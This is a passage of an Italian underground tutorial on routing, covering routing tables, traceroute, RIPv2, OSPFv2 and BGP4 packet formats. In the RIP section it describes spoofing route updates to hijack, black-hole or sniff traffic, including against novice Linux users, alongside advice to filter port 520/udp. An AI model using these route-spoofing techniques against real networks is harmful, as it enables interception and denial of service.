pacchetti. Stimolare anche la voglia di prendere in mano gli RFC di questi protocolli, che costituiscono la base del funzionamento della rete in cui oggi sguazziamo. Permettere agli amministratori con un po' di tempo in piu' di non dover per forza telefonare alla Cisco, alla Ascend o al proprio ISP per diagnosticare 'qualcosa di strano sulla rete'. Ovviamente questo e' un testo introduttivo su di un argomento che definire complesso e' un eufemismo. -[ P e r c h e' ... !? ]- Quello del routing e' un concetto che non sfugge all'attenzione di nessuno che lavori nel campo dell' internetworking. E' un concetto essenziale e decisivo. Purtroppo ho notato come invece sia del tutto sconosciuto dalla maggior parte dei frequentatori dei canali dell'underground italiano. Questo e' assurdo considerato l'interesse che invece trasmettono i protocolli di rete e trasporto della suite TCP/IP. Infatti i protocolli di instradamento forniscono non pochi punti deboli agli attaccanti e non pochi grattacapi ai responsabili della sicurezza di innumerevoli sistemi. Il concetto di instradamento non e' pertinente alla sola InterNet, ma questo e' quello che abbiamo oggi e quindi mi riferiro' soltanto ai protocolli piu' comuni e/o importanti utilizzati in questo ambiente eterogeneo. Se nessuno dei frequentatori di #hack.it si stupisce del fatto che i dati siano trasmessi da e per macchine con IP differenti, o se nessuno in #hackernow viene colpito dal fatto che singoli pacchetti IP possano raggiungere l'indirizzo di destinazione indipendentemente l'uno dall'altro, mi lascia invece perplesso che nessuno [o pochissimi ?!] di quelli che passano la propria vita a chiudere i canali suddetti e settarli +i, sappia invece come questo sia possibile e come vengano gestiti i canali di informazione tra chi si briga di operare i miracoli della rete. (...) -[ R o u t i n g ... ?! ]- Sostanzialmente possiamo semplificare il discorso, considerando InterNet come un interessante e gerarchizzato ammasso di reti locali, collegate tra di loro mediante router. In quest'ottica al ribasso possiamo associare al router il ruolo di semplice trasmettitore di pacchetti da una LAN all'altra. Ogni router deve poter sapere dove inviare i pacchetti in arrivo e perche'. Per far questo utilizza una tabella di routing. In questa tabella vengono inserite liste di altri router cui passare i nostri pacchetti a seconda della destinazione richiesta. Se ogni router dovesse inserire tutti gli altri router, possiamo immaginare come questa lista potrebbe crescere a dismisura ad ogni nuovo router collegato alla rete. Ecco perche' le tabelle di instradamento devono essere gestite in maniera differente. Se infatti un ISP vendesse 32 indirizzi IP ad un cliente, questi dovrebbe inserire nei sui router solo le informazioni strettamente necessarie a raggiungere ognuno dei suoi indirizzi, laddove ogni richiesta al di fuori di questi potrebbe essere indirizzata all'ISP senza porsi il problema della effettiva destinazione. Questo e' quello che succede ogni volta che siamo connessi in InterNet da casa nostra, o comunque mediante un collegamento in dial-up. Ad esempio: FuZZy:~ # route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface ge2ie02u.iunet. * 255.255.255.255 UH 0 0 0 ppp0 loopback * 255.0.0.0 U 0 0 0 lo 192.168.1.0 * 255.255.255.0 U 0 0 0 eth0 default ge2ie02u.iunet. 0.0.0.0 UG 0 0 0 ppp0 FuZZy:~ # Questo e' la mia tabella di instradamento quando sono collegato ad InterNet. Come possiamo vedere posso raggiungere la mia rete locale direttamente mediante eth0, la mia interfaccia ethernet. Ma esiste una route speciale, definita di default, che permette a pacchetti indirizzati a sistemi non connessi alla mia macchina direttamente, di essere instradati attraverso il router del mio ISP, raggiungibile invece attraverso ppp0: Destination Gateway Genmask Flags Metric Ref Use Iface ge2ie02u.iunet. * 255.255.255.255 UH 0 0 0 ppp0 default ge2ie02u.iunet. 0.0.0.0 UG 0 0 0 ppp0 In questo modo posso raggiungere tutti i sistemi connessi alla rete senza dover mantenere una enorme tabella di instradamento. -[ I n s t r a d a m e n t i I n t e r n i e t r a D o m i n i ]- In realta' InterNet e' un insieme di sistemi cosiddetti autonomi che definiscono e gestiscono l'autorita' amministrativa ed i criteri di diverse aziende in merito all'instradamento. [B.Halabi] I router sono invece strumenti che regolano il traffico tra i vari host, costruendo tabelle di instradamento che contengono le informazioni sulle route migliori da seguire verso tutte le destinazioni conosciute. Inoltre inviano e ricevono informazioni sulle route possibili, che vengono utilizzate per la costruzione delle tabelle. I router sviluppano un meccanismo 'ad hop', secondo il quale e' possibile passare da un punto all'altro della rete attraverso salti successivi di router in router e, quindi, di tabella in tabella. Il classico esempio e': fusys@FuZZy:~ > traceroute www.linux.com -i ppp0 traceroute to linux.com (216.200.201.193), 30 hops max, 40 byte packets 1 ge2ie02u.iunet.it (151.5.152.62) 115 ms 110 ms 100 ms 2 151.5.152.17 (151.5.152.17) 130 ms 100 ms 110 ms 3 151.5.207.241 (151.5.207.241) 110 ms 110 ms 120 ms 4 gw1.iunet.it (192.106.1.130) 110 ms 110 ms 120 ms 5 192.106.7.165 (192.106.7.165) 110 ms 110 ms 120 ms 6 195.219.98.1 (195.219.98.1) 160 ms 170 ms 150 ms 7 if-3-0-0.bb2.London.Teleglobe.net (195.219.0.193) 150 ms 160 ms 150 ms 8 195.66.225.76 (195.66.225.76) 230 ms 230 ms 220 ms 9 core1-linx-oc3-1.lhr.above.net (216.200.254.81) 220 ms 230 ms 230 ms 10 iad-lhr-stm-4.iad.above.net (216.200.254.77) 230 ms 250 ms 350 ms 11 sjc-iad-oc12-2.sjc.above.net (216.200.0.22) 490 ms 380 ms 350 ms 12 core1-core5-oc48.sjc2.above.net (216.200.0.178) 340 ms 330 ms 350 ms 13 main2-core1-oc3.sjc2.above.net (216.200.0.250) 340 ms 340 ms 350 ms 14 linux.com (216.200.201.193) 340 ms 360 ms 330 ms fusys@FuZZy:~ > In questo sistema ogni router che riceva un pacchetto verifica la possibilita' che l'IP di destinazione sia fisicamente collegato al segmento di rete servito, dopodiche' lo invia all'hop successivo piu' vicino, secondo la sua tabella, alla destinazione. Nel caso della mia macchina, il concetto di 'piu' vicino' non ha senso in quanto dispongo di una singola regola di default. Ma nel caso di questi sistemi, la scelta per l'hop successivo e' stata determinata dalle tabelle di routing dei singoli sistemi e dalle informazioni che ogni router inter-dominio scambia con i domini vicini. Ah ... ovviamente man traceroute per favore. Anche all'interno di un singolo dominio o ISP ci possono essere differenti segmenti di rete collegati da diversi router: non e' infatti pensabile che societa' od organizzazioni che hanno a disposizione centinaia o migliaia di sistemi possano collegarli sullo stesso segmento fisico. In questi casi si utilizzano dei protocolli ad 'uso interno' per far colloquiare i router interni ed i computer collegati alla rete da essi servita. I piu' famosi in assoluto sono sicuramente RIPv2 ed OSPF. Il primo fa parte dei protocolli basati sui vettori di distanza, mentre il secondo di quelli basati sullo stato della connessione. a) vettori di distanza Questo tipo di protocolli si basa sulla valutazione dei punti di routing in termini semplici di hop. In pratica definiscono una serie di coppie composte da indirizzii di rete e hop necessari per raggiungerli. Questo purtroppo non permette di valutare ne' lo stato della connessione, ne' tantomeno il costo di gestione o la velocita' intrinseca del collegamento, equiparando quindi link a bassa ed alta velocita' qualora richiedano lo stesso numero di hop per il raggiungimento della connessione. Altra limitazione di questi protocolli e' il numero massimo di hop gestibili (normalmente 15) dopo i quali la route viene considerata irraggiungibile. Gli aggiornamenti hanno luogo mediante un invio senza controllo di stato di TUTTA la tabella di instradamento verso tutti i router vicini, cio' risultando in un elevato consumo di banda per tabelle di una certa dimensione. b) stato della connessione Questi protocolli invece non basano il loro funzionamento sullo scambio delle intere tabelle di instradamento. Invece, scambiano tra loro dati necessari ad una corretta compilazione della tabella locale. Non utilizzano il sistema degli hop, quindi non sono limitati dal loro numero massimo. Possono considerare la larghezza di banda di un collegamento e gerarchizzare la rete per gestire aggregati di routing. Non sono comunque in grado di gestire le complesse variazioni di instradamento interdominio, oggetto di diverse amministrazioni e gestioni tecniche. Per quanto riguarda invece il routing interdominio il protocollo cardine e' sicuramente BGP4, responsabile delle propagazioni tra diversi sistemi delle route interne ed esterne, mediante il quale e' possibile gestire al meglio le richieste dell'internetworking, quali simmetria, bilanciamento e ridondanza, che vedremo dopo. Passiamo ora ad analizzare RIPv2 e BGP4 piu' nel dettaglio. Il primo perche' comunque ancora il piu' usato in moltissime reti miste a prevalenza di UNIX e supportato da moltissimi router e gateway. Il secondo perche' e' il de facto standard dell' internet routing. Vedremo anche le basi teoriche riguardanti OSPFv2 che sta ormai prendendo piede come IGP. -[R o u t i n g I n f o r m a t i o n P r o t o c o l (R I P) v 2]- La nuova versione di RIP aggiunge, senza variare il funzionamento base del protocollo, nuovi meccanismi per gestire piu' efficientemente l'instradamento e la sicurezza degli aggiornamenti di routing. Questo protocollo deriva dalle versioni Berkeley di UNIX, in particolare dal programma routed ed e' stato lo standard de facto di instradamento tra host e gateway per lungo tempo. RIP e' utile come IGP, o Interior Gateway Protocol, ovvero come protocollo di instradamento ad uso interno. Ha svariati problemi: - il limite massimo di 15 hop - il conteggio ad infinito, nel caso di caduta di collegamenti di rete, che puo' portare a cicli di routing, che richiedono banda o tempo, in LAN ad alta concentrazione di host, per risolversi - la metrica fissa basata su hop e non su parametri di funzionalita' e costo RIP non si cura della differenza esistente tra segmenti di rete e macchine singole. Associa semplicemente una metrica di hop ad un indirizzo. Nella sua tabella sono presenti numeri IP, gateway necessari a raggiungere gli IP, l'interfaccia fisica, la metrica ed il tempo di sopravvivenza della regola di instradamento. Il problema maggiore di questo protocollo e dei suoi simili e' essenzialmente il cosiddetto 'conteggio all'infinito'. Immaginiamo che ci siano quattro sistemi, A, B, C e Z. A e B sono connessi tra di loro con una metrica di 1, cosi' come B e C, connesso a sua volta con metrica uguale a Z: A ------\ | C-------Z B-------/ A -> B e B -> A = 1 hop A -> Z via C = 2 hop, via B = 3 hop B -> Z via C = 2 hop, via A = 3 hop Secondo A e B, l'instradamento verso Z ha una metrica di 2 hop attraverso C. E di 3 attraverso l'un l'altro. Mentre secondo C la metrica e' di 1. Tutti i sistemi aggiornano le loro tabelle mediante invio di pacchetti di aggiornamento RIP. Se il collegamento tra C e Z venisse interrotto, C verrebbe subito a saperlo, modificando la sua tabella. Se pero' il suo aggiornamento raggiungesse A e B DOPO che questi hanno inviato il loro periodico aggiornamento con metrica 2 verso Z, allora C potrebbe pensare di poter raggiungere Z attraverso A o B. Cosa in realta' impossibile fisicamente, ma possibile secondo RIP. E se un aggiornamento RIP di C colpisse A, prima che A possa aggiornare B, questo potrebbe pensare di poter raggiungere Z attraverso A con metrica uguale a 3. In una rete con svariati sistemi e gateway, questo rincorrersi di aggiornamenti porterebbe o ad una saturazione della banda nel caso di update frequenti oppure ad un lento ristabilirsi della corretta tabella.[da qui 'conteggo ad infinito'] RIP e' basato su UDP. Ogni host che riceva aggiornamenti o messaggi di questo tipo, possiede un processo che riceve ed invia datagrammi dalla porta 520/udp. Tutte le comunicazioni dirette al processo di routing sono dirette alla porta 520 e tutti i messaggi di aggiornamento sono inviati dalla porta 520. Se gli aggiornamenti non sono stati richiesti allora sia la porta di destinazione che quella di sorgente devono essere settate a 520. Quelli invece in risposta ad una richiesta specifica vengono indirizzati alla porta di origine della query. I messaggi di query e debug possono essere inviati da una porta che non sia la 520, ma devono raggiungerla sull'host remoto. Il protocollo prevede due modalita' di funzionamento. Una silente, passiva, ed una normale o attiva. La silente permette la ricezione delle tabella da parte degli altri sistemi, ma non l'invio di conferme, aggiornamenti o messaggi di debug. Questo permette di poter mantenere aggiornata la tabella della macchina, senza per questo partecipare alla sua compilazione dinamica. Questo pero' non dovrebbe essere permesso nel caso di macchine che possano risolvere un conteggio ad infinito nel caso di interruzione di linea tra due o piu' punti della rete. Vediamo ora l'header del pacchetto. Ogni dato viene scritto in Network Byte Order (BIG Endian). 0 1 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Command (1) | Version (1) | unused | +---------------+---------------+-------------------------------+ | Address Family Identifier (2) | Route Tag (2) | +-------------------------------+-------------------------------+ | IP Address (4) | +---------------------------------------------------------------+ | Subnet Mask (4) | +---------------------------------------------------------------+ | Next Hop (4) | +---------------------------------------------------------------+ | Metric (4) | +---------------------------------------------------------------+ Il comando puo' avere valore 1, il che presuppone una richiesta, o 2, uguale ad una risposta con invio di parte o tutta la propria tabella. La versione e' uguale a 2 per RIPv2 ed ovviamente a 1 per RIP. L'identificativo della famiglia di indirizzi e' uguale a 2 nel caso di IP. Route Tag viene utilizzato per gestire o identificare percorsi di routing inseriti mediante EGP, o Exterior Gateway Protocol, da router esterni alla rete interna gestita da RIP. Puo' contenere il numero di sistema autonomo da cui la route e' stata ricevuta, o magari contere valori arbitrari necessari per distinguerla dalle route interne. Next Hop identifica il gateway attraverso cui indirizzare il pacchetto. Questo indirizzo deve essere logicamente raggiungibile. RIPv2, a differenza della prima versione, dispone anche di un meccanismo di autenticazione, basato su un valore particolare dell'identificativo della famiglia: 0 1 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Command (1) | Version (1) | unused | +---------------+---------------+-------------------------------+ | 0xFFFF | Authentication Type (2) | +-------------------------------+-------------------------------+ ~ Authentication (16) ~ +---------------------------------------------------------------+ In questo caso, se l'AFI e' uguale a 0xFFFF, con il tipo di autenticazione uguale a 2, allora avremo a disposizione 16 ottetti per una password in chiaro. Nel caso sia minore di 16 ottetti dovremo preoccuparci di paddarla a destra mediante dei null (0x00). Questo richiede l'invio di almeno due pacchetti RIP. Il primo necessario alla autenticazione del peer, il secondo per il vero e proprio invio di messaggi RIP. Un accenno va fatto riguardo alla metrica: i valori accettabili sono compresi nel range 1-15, mentre 16 equivale ad 'infinito' ed avvia il processo di cancellazione della route. RIP e RIPv2 utilizzano entrambi UDP. Questo vuol dire che NON ci sono stati di connessione. I pacchetti di aggiornamento e risposta circolano liberamente, anche NON richiesti. Questo permette non pochi atti maligni contro singoli sistemi o intere LAN interne, sia in termini di DoS che di sovversione delle route con possibilita' di hijack e man-in-the-middle. Ad esempio risulta facile immaginare di poter aggiungere nuove route ad una macchina semplicemente inviando messaggi di update spoofati con l'indirizzo di uno dei gateway che il bersaglio usa. O magari bloccare definitivamente una macchina propagando una serie di metriche uguali a 16, che ricordo equivalere ad una specie di unreach, per tutte le sue regole di instradamento. O magari convincere una macchina di una sottorete a NON passare solo per il gateway predefinito per raggiungere un host remoto con una serie di aggiornamenti mirati a cancellare la prima route ed ad aggiungerne un'altra diretta verso una seconda sottorete. In questo modo potremmo sniffare senza problemi il traffico di macchine situate in un ambiente switchato. Che cosa succederebbe se inviassimo ai ragazzini che usano linux da poco, e spesso e volentieri si ritrovano con routed tranquillamente attivo sulla porta 520, messagi di update da parte del gateway predefinito dell'ISP che spostano il routing attraverso un'altra macchina della sottorete del provider, cosi' facendo bloccandone totalmente il traffico, se questo host fosse down ? RIP e' un protocollo semplice e dai sistemi di autenticazione inesistenti o facilmente forzabili da remoto, completamente nulli in locale in una LAN, dal momento che le informazioni sono passate in chiaro. Eppure e' molto utilizzato proprio per la sua semplicita' e facilita' di setup. Conoscerlo non aumenta solo la capacita' di rispondere ai trivia, quanto la possibilita' di riuscire a compromettere una rete, o di gestirla al meglio con un occhio alla sicurezza. A questo punto dovrebbe risultare comprensibile agli amministratori che ancora non lo facessero come il filtering della porta 520/udp non sia solo 'carino' quanto indispensabile. Necessario, IMHO, un ACL o Access Control List su questa porta, valutando l'arrivo di indirizzi interni da interfacce collegate alla rete esterna. Utile non solo per operazioni diagnostiche dei router, ma anche per capire qualcosa che un semplice logger IP non sia in grado di indicarci. Nella seconda parte del progetto controlleremo l'implementazione di routed sotto linux e cercheremo il modo di poter leggere, gestire e modificare le tabelle remote di instradamento. -[O p e n S h o r t e s t P a t h F i r s t (O S P F) v 2]- OSPF e' un IGP e quindi necessario per lo smistamento e l'aggiornamento delle route interne ad un sistema autonomo [AS, lo vedremo meglio parlando di BGP]. Disponde di un meccanismo di autenticazione e sfrutta il multicast per le operazioni di ricezione ed invio degli update. OSPF instrada i pacchetti basandosi solo sull'IP di destinazione. Consente la variazione dinamica delle tabelle mediante un sistema di convergenza rapido ed efficiente. Ogni router deve mantenere in questo caso un database che possa contenere le informazioni topografiche del sistema autonomo, ovvero i router presenti, le interfacce fisiche ad essi associate ed i vicini raggiungibili. Questo database viene poi propagato all'interno del sistema. Ogni router che utilizzi OSPF, disponendo del database, e' in grado di creare una mappa di route 'geografiche' che abbiano se' stesso come centro, in questo modo scegliendo i percorsi piu' corti per ogni destinazione possibile all' interno del sistema autonomo. Questo sistema autonomo, cardine di OSPF e BGP, altro non e' che l'insieme di router interni ad una societa' od organizzazione, che gestisca le route interne che non devono essere necessariamente propagate all'esterno del sistema, verso l'ISP o InterNet in toto. Non voglio entrare nel merito della costituzione e gestione del database del sistema autonomo. Per approfondire questa conoscenza e' possibile rifarsi al draft di OSPFv2 [consultare i link in fondo]. Ritengo invece doveroso fornire, al solito, una conoscenza del protocollo dal punto di vista del pacchetto IP, in modo da poter aiutare a costruire i propri tool di debug, o a leggere il sorgente di quelli esistenti. Ecco l'header del pacchetto: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Version # | Type | Packet length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Router ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Area ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | AuType | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Authentication | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Authentication | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Questo header e' comune a tutti i tipi (5) di messaggi OSPFv2. Il numero di versione sara' ovviamente 2, mentre il tipo dipende dal messaggio OSPF. I 5 tipi sono: Tipo Descrizione ________________________________ 1 Hello 2 Database Description 3 Link State Request 4 Link State Update 5 Link State Acknowledgment La lunghezza in byte dell'intero messaggio OSPF completa i primi 32bit. RouterID e AreaID sono due long associati ai router del sistema autonomo e dell'area di rete. In pratica, nella maggior parte dei casi, solo il primo e' davvero variabile, in quanto l'AreaID e' spesso uno solo. Il checksum e' il solito sum di IP calcolato su tutto il pacchetto OSPF, escludend i campi di autenticazione. AuType gestisce la modalita' di autenticazione. I tipi possibili sono: AuType Descrizione ___________________________________________ 0 Null 1 Password in chiaro 2 Autenticazione crittografica Tutti gli Riservato per future assegnazioni da altri IANA (iana@ISI.EDU) Interessante notare come i 64bit a disposizione dell'autenticazione siano usati con AuType uguale a 2: 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0 | Key ID | Auth Data Len | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Cryptographic sequence number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ In questo caso abbiamo infatti un identificativo della chiave segreta criptata e del digest utilizzato, a esempio MD5, seguito dalla lunghezza del messaggio stesso, ad esempio 16 per MD5, che deve essere postposto all'header OSPF. Poi un numero di sequenza per evitare gli attacchi di replay, comuni in reti locali dove lo sniffing e' una realta' e non un problema teorico. Dopo i campi di autenticazione vengono incollati i dati necessari ai messaggi OSPF. Per il pachetto di tipo Hello: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Network Mask | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | HelloInterval | Options | Rtr Pri | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | RouterDeadInterval | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Designated Router | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Backup Designated Router | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Neighbor | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ... | Avremo la netmask associata all'interfaccia del router. Poi avremo l'intevallo in secondi prima di questo messaggio, le opzioni disponibili al router in questione, e la priorita' del router, Rtr Pri che determina la possibilita' che il router possa diventare Designated Router nell'algoritmo OSPF. Il router designato ed il suo backup, in termini di indirizzo IP, o nel caso non ve ne siano, 0.0.0.0. Il vicino, in termini di RouterID, che abbia inviato nell'ultimo intervallo, messaggi di tipo Hello validi in broadcast o multicast. Gli altri tipi di messaggio rivestono importanza relativa al database di stato del sistema autonomo. Per quelli, quindi, vi rimando all'RFC apposito. -[ B o r d e r G a t e w a y P r o t o c o l (B G P) v 4 ]- BGP4 e' un importante protocollo. Si puo' dire senza paura di essere smentiti che se da un giorno all'altro nessun router comprendesse piu' BGP, allora forse non avremmo piu' InterNet come la conosciamo oggi. BGP e' un EGP, o Exterior Gateway Protocol, e deriva dai lavori svolti sulla NFSNet proprio con il primitivo EGP. E' stato introdotto, una versione dopo l'altra, dalla IETF, Internet Engineering Task Force. Serve in sostanza al controllo, alla propagazione ed all'aggiornamento dinamico delle tabelle di instradamento tra differenti sistemi autonomi (autonomous system o AS, d'ora in poi). La definizione classica di un sistema autonomo e' quella di un insieme di router sotto una singola organizzazione ed amministrazione tecnica, utilizzante un IGP e metriche ad hop per gestire l'instradamento interno all'AS stesso, ed un EGP per gestire il routing verso altri AS. BGP necessita di un sistema di trasporto efficiente e robusto, necessario per le sue operazioni di update, che possa controllare da solo la frammentazione, il timeout e la ritrasmissione dei dati. E' stato scelto TCP per il suo funzionamento interno ed il sistema di sequenzialita' dei dati trasmessi, e per la sua possibilita' di effettuare delle chiusure indolori con un efficace flush degli ultimi dati trasmessi. La porta utilizzata e' la 179/tcp. -[ B G P 4 : F u n z i o n a m e n t o d i b a s e ]- Due sistemi danno luogo ad una connessione TCP tra di loro, dopodiche' si scambiano messaggi per aprire e confermare le modalita' di connessione. All'inizio inviano entrambi nel flusso dei dati la loro intera tabella di instradamento. Man mano che si presentino variazioni dinamiche della tabella, inviano aggiornamenti al peer. BGP non richiede periodici invii dell'intera tabella, quindi e' necessario che ogni dispositivo che comunichi mediante BGP gestisca e mantenga in memoria tutta la tabella di ognuno dei suoi peer. Vengono comunque impiegati dei sistemi di timeout propri di BGP con dei messaggi di tipo KeepAlive per assicurare il mantenimento della connessione. Inoltre vi sono degli altri tipi di notifica nel caso ci fossero condizioni di errore od altri eventi particolari. E' importante sottolineare che secondo l'RFC del protocollo, non e' detto che entrambi i capi della connessione debbano per forza essere router. E' difatti possibile che uno dei due sia un host che voglia solo controllare o gestire la propria tabella in maniera dinamica. O magari che faccia da punto di unione tra un segmento di rete di un AS ed il router perimetrale di un altro AS, senza per questo fungere da gateway del suo sistema autonomo. a) le route Una route viene definita come una coppia che abbini ad una destinazione gli attributi del percorso per quell'indirizzo. Queste vengono emanate come messaggi BGP di tipo UPDATE: la destinazione e' quel o quei sistemi i cui indirizzi IP sono riportati nell'NLRI o Network Layer Reachability Information [che vedremo piu' avanti in dettaglio], ed il percorso e' l'informazione riportata nei campi di attributi della route che vengono riportati all'interno dello stesso UPDATE. Le route vengono inserite e mantenute all'interno del RIB o Routing Information Bases [vedi b)]. BGP permette anche di poter cancellare una route precedentemente immessa in un RIB remoto mediante 3 modi differenti: - Inserendo il prefisso IP della destinazione nel campo WITHDRAWN ROUTES di un messaggio UPDATE - emanando una route alternativa che contenga lo stesso campo NLRI - terminando la connessione TCP, fatto che comporta la rimozione di tutte le route che i due peer avevano emanato l'un l'altro. b) Routing Information Bases (RIB) Questo consta di tre parti: - Adj-RIBs-In: contiene le route ricevute mediante messaggi remoti di UPDATE. Queste verranno prese in considerazione dal processo decisionale di BGP. - Loc-RIB: contiene le route presenti localmente che il processo decisionale BGP ha scelto tra quelle contenute in Adj-RIBs-In - Adj-RIBs-Out: contiene le route che il processo ha selezionato per essere emanate ai propri peer. In pratica, Adj-RIBs-In contiene informazioni ricevute mediante UPDATE e non ancora processate, Loc-RIB quelle scelte come facenti parte della tabella di routing, mentre Adj-RIBs-Out quelle da inviare mediante propri messaggi di UPDATE. -[ B G P 4 : F o r m a t o d e i M e s s a g g i ]- Vediamo ora gli header BGP ed i tipi di messaggio che i router scambiano tra di loro per iniziare una connessione BGP e mantere il loro RIB. I messaggi possono essere lunghi fino ad un massimo di 4096 ottetti e non piu' corti di un header BGP, o 19 ottetti. Ecco l'header BGP: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + + | Marker | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length | Type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Il marker contiene un valore di 128 bit che puo' essere predetto dal peer. Infatti nel caso di un messaggio di tipo OPEN, o se un messaggio OPEN non contiene alcuna informazione relativa ai meccanismi di autenticazione, allora sara' composto da soli 1. Altrimenti deve contenere un valore computabile secondo gli algoritmi di autenticazione usati. Questo viene usato non solo per autenticare i messaggi in arrivo, ma anche per stabilire stati di mancata sincronizzazione tra i peer BGP. La lunghezza indica mediante un unsigned int la lunghezza totale del messaggio in byte, incluso l'header. Minimo 19, massimo 4096, non deve contenere padding. Il tipo di messaggio puo' essere uguale a: 1 - OPEN 2 - UPDATE 3 - NOTIFICATION 4 - KEEPALIVE Vediamoli ora in dettaglio. [1] Messagio di tipo OPEN Dopo una connessione TCP, il primo messaggio inviato da entrambi i peer e' un OPEN. Nel caso sia accettabile, viene inviato un KEEPALIVE di conferma. Dopo che la sequenza OPEN sia stata portata a termine, sara' possibile utilizzare i messaggi di tipo UPDATE, NOTIFICATION e KEEPALIVE. Oltre all'header BGP, sono presenti anche i seguenti dati: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+ | Version | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | My Autonomous System | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Hold Time | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | BGP Identifier | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Opt Parm Len | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Optional Parameters | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ La versione e' un unsigned int che identifica la versione del protocollo. Ora e' uguale a 4. Dopo, un unsigned int di 16 bit contiene il valore dell' AS. Hold Time contiene il valore in secondi entro cui bisogna inviare un messaggio UPDATE o KEEPALIVE, pena la caduta della connessione BGP. Impostando 0, non ci saranno timeout. L'RFC specifica un valore di almeno 3 secondi come base del valore al di fuori di 0. L'identificativo BGP e' in pratica un indirizzo IP associato ad una interfaccia utilizzata per l'invio dei messaggi. Ad esempio Cisco calcola questo valore usando il numero IP maggiore associato al router. Opt Parm Len indica la lunghezza in byte degli eventuali Parametri Opzionali. I Parametri Opzionali vengono rappresentati da una tripletta che contiene: 0 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-... | Parm. Type | Parm. Length | Parameter Value (variable) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-... il tipo di parametro, la sua lunghezza ed il suo valore. L'RFC di BGP4 specifica un solo parametro opzionale: a) Authentication Information (Parameter Type 1) Il campo value del parametro opzionale in questo caso contiene un codice di autenticazione seguito da un campo variabile contenente i dati necessari alla autenticazione: 0 1 2 3 4 5 6 7 8 +-+-+-+-+-+-+-+-+ | Auth. Code | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Authentication Data | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ E' stato anche proposto l'uso di un'opzione TCP come la MD5 Signature Option per la 